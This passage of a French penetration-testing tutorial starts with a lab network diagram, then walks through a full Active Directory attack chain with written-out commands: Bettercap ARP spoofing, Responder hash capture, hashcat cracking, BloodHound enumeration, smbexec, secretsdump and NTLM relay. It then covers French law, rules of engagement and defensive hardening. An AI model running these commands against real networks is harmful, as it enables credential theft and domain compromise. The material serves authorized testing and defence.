# │  └────────────────┬──────────────────────────┘             │
# │                   │                                        │
# │            ┌──────┴──────┐                                 │
# │            │   KALI      │                                 │
# │            │  Bettercap  │                                 │
# │            │  Responder  │                                 │
# │            │  .1.100     │                                 │
# │            └─────────────┘                                 │
# └─────────────────────────────────────────────────────────────┘

# Configuration GNS3 / EVE-NG :
# - Switch Cisco vIOS L2 (image c3725 ou viosl2)
# - VLAN 10 : 192.168.1.0/24
# - DC01 : 192.168.1.10 (Windows Server 2022, AD DS, DNS, DHCP)
# - SRV01 : 192.168.1.20 (Windows Server 2022, File Server, IIS)
# - PC01 : 192.168.1.50 (Windows 11, joint au domaine)
# - KALI : 192.168.1.100 (Kali Linux 2026, Bettercap, Responder)

Scénario d'attaque AD complet étape par étape

Ce scénario simule une attaque complète depuis un accès réseau initial (simulating un insider threat ou un accès physique) jusqu'à la compromission du domaine Active Directory, en utilisant exclusivement Bettercap comme vecteur MITM initial :

# SCÉNARIO COMPLET : De l'accès réseau à la compromission AD
# Durée estimée : 2-4 heures

# ═══════════════════════════════════════════════════════════
# ÉTAPE 1 : Reconnaissance réseau
# ═══════════════════════════════════════════════════════════

# Lancer Bettercap
sudo bettercap -iface eth0

# Découverte du réseau
net.probe on
sleep 30
net.show

# Identifier : DC (port 88/389/445 ouverts), serveurs, postes utilisateurs
# Utiliser nmap en complément pour le fingerprinting des services

# ═══════════════════════════════════════════════════════════
# ÉTAPE 2 : ARP Spoofing + LLMNR/NBT-NS Poisoning
# ═══════════════════════════════════════════════════════════

# Terminal 1 : Bettercap - ARP Spoofing
set arp.spoof.fullduplex true
set arp.spoof.targets 192.168.1.50
set arp.spoof.internal true
arp.spoof on
net.sniff on

# Terminal 2 : Responder - LLMNR/NBT-NS Poisoning
sudo responder -I eth0 -wrf -v

# Attendre que les utilisateurs génèrent du trafic d'authentification
# Typiquement : accès à un partage réseau, navigation intranet, etc.

# ═══════════════════════════════════════════════════════════
# ÉTAPE 3 : Capture et cracking des credentials
# ═══════════════════════════════════════════════════════════

# Responder capture les hashes NTLMv2 dans /opt/Responder/logs/
# Exemple : CORP\jdupont::CORP:...NTLMv2 hash...

# Cracking avec hashcat
hashcat -m 5600 /opt/Responder/logs/SMB-NTLMv2-*.txt \
  /opt/wordlists/rockyou.txt \
  -r /opt/rules/best64.rule \
  --username

# Résultat attendu : jdupont:Summer2026!

# ═══════════════════════════════════════════════════════════
# ÉTAPE 4 : Énumération Active Directory
# ═══════════════════════════════════════════════════════════

# Avec les credentials crackés :
python3 bloodhound.py -u jdupont -p 'Summer2026!' \
  -d corp.local -ns 192.168.1.10 -c All

# Importer dans BloodHound et identifier les chemins d'attaque
# Chercher : chemins vers Domain Admin, Kerberoastable accounts,
#            AS-REP Roastable, ACL abusives

# ═══════════════════════════════════════════════════════════
# ÉTAPE 5 : Mouvement latéral et escalade de privilèges
# ═══════════════════════════════════════════════════════════

# Si le compte a des droits sur un serveur :
python3 smbexec.py CORP/jdupont:'Summer2026!'@192.168.1.20

# Si un service account Kerberoastable est identifié :
python3 GetUserSPNs.py CORP/jdupont:'Summer2026!' \
  -dc-ip 192.168.1.10 -request

# Cracker le TGS
hashcat -m 13100 tgs_hash.txt /opt/wordlists/rockyou.txt

# ═══════════════════════════════════════════════════════════
# ÉTAPE 6 : Compromission du domaine
# ═══════════════════════════════════════════════════════════

# Avec un compte DA ou équivalent :
python3 secretsdump.py CORP/admin:'AdminPass!'@192.168.1.10

# Extraction du hash krbtgt pour Golden Ticket
# krbtgt:aes256-cts-hmac-sha1-96:...

# ═══════════════════════════════════════════════════════════
# DOCUMENTATION : Rapport de pentest
# ═══════════════════════════════════════════════════════════
# Documenter chaque étape avec :
# - Timestamp
# - Commandes exécutées
# - Screenshots / captures d'écran
# - Mapping MITRE ATT&CK
# - Recommandations de remédiation

Variante : attaque via NTLM Relay

En alternative au cracking offline, les hashes NTLMv2 capturés via la combinaison Bettercap/Responder peuvent être relayés en temps réel vers d'autres services du domaine. Cette technique, détaillée dans notre article sur le NTLM relay moderne, est particulièrement efficace lorsque le SMB signing n'est pas activé sur les serveurs cibles :

# NTLM Relay en temps réel

# 1. Identifier les serveurs sans SMB signing
crackmapexec smb 192.168.1.0/24 --gen-relay-list targets.txt

# 2. Lancer ntlmrelayx avec les cibles identifiées
sudo python3 ntlmrelayx.py -tf targets.txt -smb2support \
  --escalate-user jdupont -l /opt/pentest/loot/

# 3. Utiliser Bettercap pour forcer l'authentification
# (DNS spoofing vers un partage SMB inexistant)
set dns.spoof.domains fileserver.corp.local
set dns.spoof.address 192.168.1.100
dns.spoof on

# 4. ntlmrelayx relaie automatiquement les authentifications
# capturées vers les serveurs vulnérables

Aspects légaux et éthiques du pentest réseau MITM

Cadre juridique en France

L'utilisation d'outils comme Bettercap et Ettercap est strictement encadrée par le cadre juridique français. Les articles 323-1 à 323-8 du Code pénal sanctionnent l'accès et le maintien frauduleux dans un système de traitement automatisé de données (STAD), l'entrave au fonctionnement d'un STAD, et l'interception de données. Les peines peuvent aller jusqu'à 5 ans d'emprisonnement et 150 000 euros d'amende pour les cas les plus graves. L'utilisation de ces outils sans autorisation explicite constitue un délit pénal, y compris sur des réseaux auxquels l'attaquant a un accès légitime (par exemple, le réseau WiFi de son employeur).

En contexte de pentest professionnel, plusieurs conditions doivent être réunies pour garantir la légalité de l'intervention. Un contrat de prestation signé entre le pentester et le client, définissant précisément le périmètre d'intervention. Une lettre de mission ou autorisation de test spécifiant les systèmes, réseaux et techniques autorisés. Une clause de non-responsabilité pour les dommages collatéraux potentiels (perturbations réseau dues à l'ARP spoofing, par exemple). Une assurance responsabilité civile professionnelle couvrant les activités de test d'intrusion. Le respect du périmètre défini, car tout test hors périmètre constitue un accès frauduleux même avec un contrat de pentest.

Règles d'engagement pour les tests MITM

Les tests MITM présentent des risques de perturbation réseau supérieurs à la moyenne des tests d'intrusion. L'ARP spoofing peut provoquer des instabilités, des déconnexions, et des pertes de paquets sur le segment ciblé. Les bonnes pratiques incluent :

Toujours commencer par un scope limité (une ou deux machines cibles) avant d'élargir. Planifier les tests MITM en dehors des heures de production critique. Disposer d'une procédure d'arrêt d'urgence (arrêt immédiat de Bettercap = restauration automatique des caches ARP en quelques minutes). Monitorer l'impact sur le réseau pendant les tests (latence, perte de paquets). Documenter exhaustivement chaque action pour le rapport de pentest.

Le respect du cadre éthique et légal est non négociable. Un pentester qui utilise ces outils hors cadre contractuel s'expose à des poursuites pénales et engage sa responsabilité professionnelle. La certification CEH, OSCP ou GPEN ne constitue pas une autorisation d'utiliser ces outils en dehors d'un cadre contractuel défini.

Responsibility Disclosure et rapport de findings

Les vulnérabilités découvertes via des attaques MITM doivent être documentées avec précision dans le rapport de pentest, en incluant la preuve de concept (POC) reproductible, l'impact business (quelles données sont exposées, quel est le risque de compromission), les recommandations de remédiation priorisées, et le mapping MITRE ATT&CK correspondant. La communication des résultats doit suivre le processus de responsible disclosure défini dans le contrat de prestation, avec un délai raisonnable pour la remédiation avant toute communication publique (si applicable).

Questions fréquentes sur Bettercap et Ettercap

Quelle est la différence principale entre Ettercap et Bettercap pour le pentest réseau ?

La différence fondamentale réside dans l'architecture et les capacités. Ettercap est un outil monolithique en C, conçu principalement pour l'ARP spoofing et le sniffing sur réseau filaire. Bettercap est un framework modulaire en Go qui couvre le réseau filaire, le WiFi, le Bluetooth Low Energy, et intègre une API REST, une Web UI, et un système de scripting (caplets). En pratique, Bettercap remplace complètement Ettercap pour tout pentest professionnel en 2026, tout en ajoutant des capacités que Ettercap ne supporte pas (WiFi pentest, BLE, automation via API, IPv6 complet). Ettercap conserve un intérêt pédagogique pour comprendre les fondamentaux du MITM et pour ses filtres de manipulation de paquets, qui offrent une granularité différente de celle des caplets Bettercap.

L'ARP spoofing est-il détectable par les équipes de sécurité ?

Oui, l'ARP spoofing est détectable par plusieurs mécanismes. Le Dynamic ARP Inspection (DAI) sur les switches managés bloque automatiquement les paquets ARP falsifiés. Les IDS/IPS (Suricata, Snort) peuvent alerter sur les anomalies ARP (changements fréquents de correspondance MAC-IP, flux ARP anormaux). Les outils de monitoring comme arpwatch détectent les modifications des tables ARP. Cependant, dans de nombreux environnements d'entreprise, ces contre-mesures ne sont pas déployées ou sont mal configurées. Lors d'un pentest, la réussite de l'ARP spoofing révèle une lacune de sécurité réseau qui doit être documentée et corrigée.

Bettercap peut-il intercepter le trafic HTTPS moderne avec TLS 1.3 ?

Bettercap peut intercepter le trafic HTTPS via son module https.proxy en générant des certificats à la volée pour chaque domaine visité. Cependant, cette interception n'est transparente que si la CA de Bettercap est installée dans le trust store de la victime. Sans cela, le navigateur affiche un avertissement de certificat. Les protections modernes comme HSTS, les listes de préchargement HSTS, le certificate pinning, et les vérifications CT (Certificate Transparency) rendent l'interception HTTPS de plus en plus difficile. Le module hstshijack tente de contourner certaines de ces protections, mais son efficacité est limitée contre les navigateurs récents. En pratique, l'interception HTTPS est surtout efficace dans les environnements d'entreprise disposant d'une PKI interne dont la CA est déjà déployée sur les postes.

Comment combiner Bettercap avec Responder pour un pentest Active Directory ?

La combinaison Bettercap + Responder est un vecteur classique en bettercap active directory pentest. Bettercap assure l'ARP spoofing pour rediriger le trafic des cibles, tandis que Responder écoute les requêtes LLMNR, NBT-NS et WPAD pour capturer les hashes NTLMv2. Le workflow optimal est le suivant : (1) lancer Bettercap avec ARP spoofing ciblé sur les postes utilisateurs, (2) lancer Responder en parallèle sur la même interface, (3) optionnellement, utiliser le DNS spoofing de Bettercap pour forcer des résolutions en échec (ce qui déclenche les fallbacks LLMNR/NBT-NS interceptés par Responder), (4) cracker ou relayer les hashes capturés. Cette combinaison est documentée en détail dans la section dédiée de cet article.

Les caplets Bettercap sont-ils sûrs à utiliser en production ?

Les caplets officiels du dépôt Bettercap sont généralement fiables, mais doivent toujours être revus avant utilisation en environnement de production (pentest). Certains caplets, comme massdeauth, peuvent provoquer des perturbations massives sur le réseau WiFi ciblé. Il est recommandé de tester chaque caplet en lab avant de l'utiliser en mission, de personnaliser les paramètres (scope, cibles, durée) pour chaque mission, et de créer des caplets sur mesure plutôt que d'utiliser les caplets génériques sans adaptation. Les caplets personnalisés permettent également de documenter précisément les actions réalisées, ce qui facilite la rédaction du rapport de pentest.

Bettercap fonctionne-t-il sur Windows ou uniquement sur Linux ?

Bettercap est compilé en Go et supporte officiellement Linux, macOS et Windows. Cependant, les fonctionnalités complètes ne sont disponibles que sous Linux, notamment les capacités WiFi (qui nécessitent le mode monitor, non supporté nativement sous Windows), les fonctionnalités BLE avancées, et certains modules réseau qui dépendent de fonctionnalités spécifiques du noyau Linux (netfilter, raw sockets). Pour un pentest professionnel, l'utilisation de Bettercap sous Kali Linux ou Parrot OS est recommandée. L'installation sous Windows reste utile pour les tests depuis un poste corporate, mais avec des fonctionnalités réduites au réseau filaire.

Comment protéger un réseau d'entreprise contre les attaques ettercap man in the middle ?

La protection contre les attaques MITM repose sur une défense en profondeur combinant plusieurs mesures. Au niveau réseau (couche 2) : activer le DAI (Dynamic ARP Inspection) et le DHCP Snooping sur tous les switches managés, déployer le 802.1X pour le contrôle d'accès réseau. Au niveau protocole : désactiver LLMNR et NBT-NS par GPO dans les environnements Active Directory, activer le SMB signing sur tous les serveurs et postes. Au niveau applicatif : déployer HSTS sur tous les services web internes, utiliser des certificats avec certificate pinning pour les applications critiques. Au niveau monitoring : déployer des règles IDS/IPS pour la détection d'ARP spoofing, monitorer les changements de tables ARP avec arpwatch, corréler les événements réseau avec le SIEM. Cette approche multicouche rend les attaques MITM significativement plus difficiles et détectables.

Peut-on utiliser Bettercap pour le pentest WiFi WPA3 ?

Les capacités de Bettercap contre WPA3 sont limitées en 2026. Le protocole WPA3, basé sur SAE (Simultaneous Authentication of Equals) et Dragonfly handshake, est résistant aux attaques offline de dictionnaire qui sont le vecteur principal contre WPA2-PSK. Bettercap peut effectuer la reconnaissance WiFi (découverte des réseaux WPA3, identification des clients), les attaques de désauthentification (les trames de management ne sont pas protégées en WPA3-Personal sans PMF obligatoire), et la création d'evil twin (mais le client WPA3 refusera de se connecter à un AP avec un chiffrement inférieur). Les vulnérabilités Dragonblood (CVE-2019-9494 et suivantes) ont montré que des attaques side-channel étaient possibles contre SAE, mais leur exploitation pratique avec Bettercap n'est pas intégrée. En résumé, WPA3 réduit significativement la surface d'attaque WiFi, et le pentest WiFi WPA3 nécessite des outils et techniques spécialisés au-delà de Bettercap.

Conclusion : Bettercap, pilier du pentest réseau moderne

L'évolution d'Ettercap vers Bettercap illustre la maturation de la discipline du test d'intrusion réseau. Là où Ettercap offrait un ensemble de fonctionnalités ARP spoofing et sniffing monolithique adapté aux réseaux des années 2000, Bettercap propose un framework modulaire, extensible et programmable qui répond aux exigences des environnements modernes. Sa capacité à couvrir le réseau filaire, le WiFi et le Bluetooth dans un seul outil, combinée à son API REST et son système de caplets, en fait l'outil de référence pour le bettercap pentest en 2026.

Pour le pentester Active Directory, la combinaison de Bettercap avec Responder, Impacket et BloodHound crée une chaîne d'exploitation redoutablement efficace. L'ARP spoofing comme vecteur initial, couplé au LLMNR/NBT-NS poisoning pour la capture de credentials, puis l'exploitation via les outils AD classiques, constitue un scénario d'attaque qui réussit dans la majorité des environnements insuffisamment durcis. Chaque étape de cette chaîne représente une opportunité de détection et de prévention pour les équipes de défense : DAI contre l'ARP spoofing, désactivation de LLMNR/NBT-NS contre le poisoning, SMB signing et LDAP signing contre le relay, MFA et mots de passe robustes contre le cracking. La documentation précise de ces failles et des remédiations associées dans le rapport de pentest est essentielle pour l'amélioration continue de la posture de sécurité des organisations.

La maîtrise de ces outils et techniques, inscrite dans un cadre légal et éthique rigoureux, distingue le pentester professionnel du simple utilisateur d'outils. Comprendre non seulement comment exploiter les faiblesses réseau, mais aussi comment les détecter et les corriger, est ce qui apporte une véritable valeur ajoutée aux organisations qui font appel à des services de test d'intrusion. Bettercap, avec sa communauté active et son développement continu, restera un pilier incontournable de cette discipline pour les années à venir.